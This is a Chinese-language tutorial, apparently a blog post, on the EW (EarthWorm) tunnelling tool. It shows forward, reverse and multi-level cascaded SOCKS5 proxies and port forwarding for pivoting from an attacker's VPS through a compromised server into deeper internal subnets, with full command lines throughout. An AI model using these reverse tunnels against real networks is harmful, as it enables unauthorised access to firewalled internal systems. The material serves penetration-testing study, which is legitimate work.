EW内网穿透介绍

文章的内容是对于代理内网的介绍与工具的使用
正向、反向代理工具的典型案例介绍

1.EW网络穿透工具介绍

  EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。
  该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。
  工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内。


2.EW使用命令

2.1 EW的使用

(1) EW使用命令格式

1
该工具共有 6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。
  • EW在使用时的命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
EW -* 使用命令情况
-s 指定工作模式。工作模式支持如下:
ssocksd , rcsocks , rssocks ,lcx_listen , lcx_tran , lcx_slave
ssocksd 创建正向socks代理服务端,监听在本地,直接把当前环境socks代理出去。
rssocks 创建反向socks代理服务端
rcsocks 反向socks代理客户端
lcx_tran 正向tcp端口转发,监听在本地
lcx_slave 反向tcp转发客户端
lcx_listen 反向tcp服务端


-l listenport为服务器打开一个监听端口。
-d refhost 设置反射主机地址。
-e refport 设置反射端口。
-f connhost 设置连接主机地址。
-g connport 设置连接端口。
-h help 显示帮助文本,通过添加 -s 参数,您还可以查看更详细的帮助。
-a about 显示关于页面
-v version 显示版本。
-t usectime 设置超时的毫秒数。 默认的值为 1000

为了减少网络资源的消耗,程序中添加了超时机制,默认时间为10000毫秒(10秒),用户可以通过追加 -t 参数来调整这个值,单位为毫秒。在多级级联功能中,超时机制将以隧道中最短的时间为默认值。

3.EW实践过程

3.1 EW穿透实践介绍

网络拓扑图如下,为了实现多级代理的功能,只有同层间的网络才能互相访问,不同网段之间是不能进行访问的。

vps: XX.XX.XX.XX ;攻击者:192.168.0.X

  • 第一层网络:192.192.192.0/24
  • 第二层网络:192.168.52.0.0/24
  • 第三层网络:192.168.93.0/24

拓扑

3.2 EW实现第一层网络的功能

场景:

我们需要利用EW穿透工具对内网网段192.168.52.0段进行访问,所以我们搭建内网代理进行访问,由于目标服务器具有公网地址,所以我们可以使用正向代理和反向代理两种方法。

(1) 正向代理

1
2
正向代理是服务器开放监听端口,客户端(攻击者)主动连接服务器的端口。
适用于被控服务器拥有一个公网IP。

正向代理拓扑:

正向

  • 目标服务器启动代理服务端

在目标服务器上面添加一个监听的端口,然后我们再通过代理工具进行正向连接代理服务器+监听的端口就可以访问192.168.52.0段的网络情况。

1
2
3
4
5
6
7
8
9
windosw:
ew.exe -s ssocksd -l 1080

linux:
./ew -s ssocksd -l 1080

-s 指定工作模式
ssocksd 创建正向socks代理服务端,监听在本地,直接把当前环境socks代理出去
-l listenport为服务器打开一个监听端口

启动ew服务端

  • 目标服务器端口详情

端口

  • proxy代理连接测试

proxy

  • 192.192.192.92连接测试

远程连接

192.192.192.92

服务访问

远程1

(2) 反向代理

1
2
反向代理是客户端开发端口,服务器连接客户端。
适用于目标机器没有公网IP,但可访问内网资源。

反向代理拓扑:

反向

  • 攻击者VPS启动代理客户端

在攻击者的公网vps上添加EW转接隧道,将监听端口1080收到的代理请求转交给反连8888端口的目的服务器。

1
2
3
4
5
6
7
8
9
10
windows:
ew -s rcsocks -l 1080 -e 8888

linux:
./ew -s rcsocks -l 1080 -e 8888

-s 指定工作模式
rcsocks 反向socks代理客户端
-l listenport在代理客户端设置监听端口,将监听端口1080收到的代理请求转交给反连8888端口的被控服务器。
-e refport设置反弹端口,用于接收被控服务器反弹过来的代理流量。

反向代理服务端

  • 目标服务器上启动SOCKS v5服务端并反弹到公网vps主机的8888端口
1
2
3
4
5
ew_for_Win.exe -s rssocks -d 公网VPS -e 8888
-s 指定工作模式
rssocks 创建反向socks代理服务端
-d refhost设置反弹主机地址(IP)。
-e refport设置反弹端口,反弹给公网vps开启的8888端口。

反向启动服务端

  • proxy代理连接

反向proxy

  • 192.192.192.92连接测试

远程连接

192.192连接

服务访问

远程

3.3 多层代理实现过程

内网的环境中一般只有一层,没有做比较大的限制,⽐如说A 主机的⽹段是 192.192.192.X ,内⽹其他主机的⽹段也是 192.192.192.X,或者没有对其他网段做逻辑隔离限制。那么就可以直接搭建简单的一层内⽹隧道;那么如果⽬标内⽹有⼆层(192.168.52.X )、三层(192.168.93.X),每⼀层主机的⽹段只能和上⼀层的⽹段相互访问,那么这个时候我们应该怎样做,才能从第⼀层访问到最后⼀层,直到把整个内网的网段都能进行整体的访问,这就需要多级代理的功能点。

现在我们的一层网络代理,只能访问到192.168.52.xx这个网段,所以我们通过反向代理用攻击者的VPS服务器搭建访问第二层网络192.168.93.XX段的多级代理隧道进行内部网段的访问。

正向多级代理拓扑:

多级正向拓扑

反向多级代理拓扑:

反向多级代理1

(1) 在攻击机的VPS启动EW的代理客户端

在攻击者的vps添加EW转接隧道,将1080端口收到的代理请求流量转交给反连1234端口的目的服务器

  • 攻击机VPS配置
1
2
3
4
5
6
攻击机:./ew_for_linux64 -s rcsocks -l 1080 -e 1234

-s 指定工作模式
rcsocks 反向socks代理客户端
-l listenport在代理客户端设置监听端口,将6666收到的 代理请求 转交给反连8888端口的被控服务器。
-e refport设置反弹端口,用于接收被控服务器反弹过来的代理流量。
  • 运行成功

多级代理1234

(2) 在目的服主机上启动监听

目的服务器端口999,并将999端口接收到的代理流量,转发给攻击者的vps的1234端口

  • 目的服务器配置
1
2
3
4
5
6
7
8
ew_for_Win.exe -s lcx_slave -d 公网VPS地址 -e  目的服务器端口 -f 内网机器地址 -g 内网监听端口
ew_for_Win.exe -s lcx_slave -d XX.XX.XX.XX -e 1234 -f 192.168.52.30 -g 999

-s 指定工作模式
rssocks 创建反向socks代理服务端
-l listenport在目的服务器上设置监听端口9999,将9999收到的 代理请求 转交给攻击者的公网vps的8888端口。
-f connhost 设置连接主机地址(IP)。
-g connport 设置连接端口。
  • 运行成功

二层代理

(3) 在内网机器中启动正向代理服务端

  • 内网机器配置
1
2
3
4
5
ew_for_Win.exe -s ssocksd -l 999

-s 指定工作模式
ssocksd 创建正向socks代理服务端,监听在本地,直接把当前环境socks代理出去
-l listenport为服务器打开一个监听端口
  • 运行成功

三层代理

(4) proxy代理测试

二层联通

由于我们做的代理为多层代理,内网的机器是访问不到互联网的一个状态,所以代理服务器连接外网的测试失败,但是我们代理进内网的隧道已经进行打通,可以访问192.168.93.0这个网段的地址。

(4) 隧道192.168.93.0段网段测试

二层测试

3.4 多级级联拓展

工具中自带的三条端口转发指令, 它们的参数格式分别为:

1
2
3
4
5
6
7
8
9
10
./ew -s lcx_listen -l  1080   -e 8888
./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999

-l listenport为服务器打开一个监听端口。
-d refhost 设置反射主机地址。
-e refport 设置反射端口。
-f connhost 设置连接主机地址。
-g connport 设置连接端口。
多级级联的三种状态可以转发任意以TCP为基础的通讯服务,包括远程桌面/ssh服务等。

通过这些端口转发指令可以将处于网络深层的基于TCP的服务转发至根前,比如 SOCKS v5服务。

(1) 二级级联_正向连接

  • lcx_tran 的用法
1
2
内网机器: $ ./ew -s ssocksd  -l 9999
目的服务器: $ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999

(2) 二级级联_反向连接

  • lcx_listen、lcx_slave 的用法
1
2
3
公网VPS:    ./ew -s lcx_listen -l 1080 -e 8888
内网机器: ./ew -s ssocksd -l 9999
目的服务器:./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999

(3) 三级级联_反向连接

1
2
3
4
5
6
公网VPS:     ./ew -s rcsocks -l 1080 -e 8888
目的服务器: ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
内网机器: ./ew -s lcx_listen -l 9999 -e 7777
内网机器: ./ew -s rssocks -d 127.0.0.1 -e 7777

数据流向: SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks

按照以上上述的反向代理方法,不管是第几层网络我们都能访问到。从而实现了内网中的多级代理功能。


谢谢大家观赏文章!
------ 本文结束感谢您的阅读 ------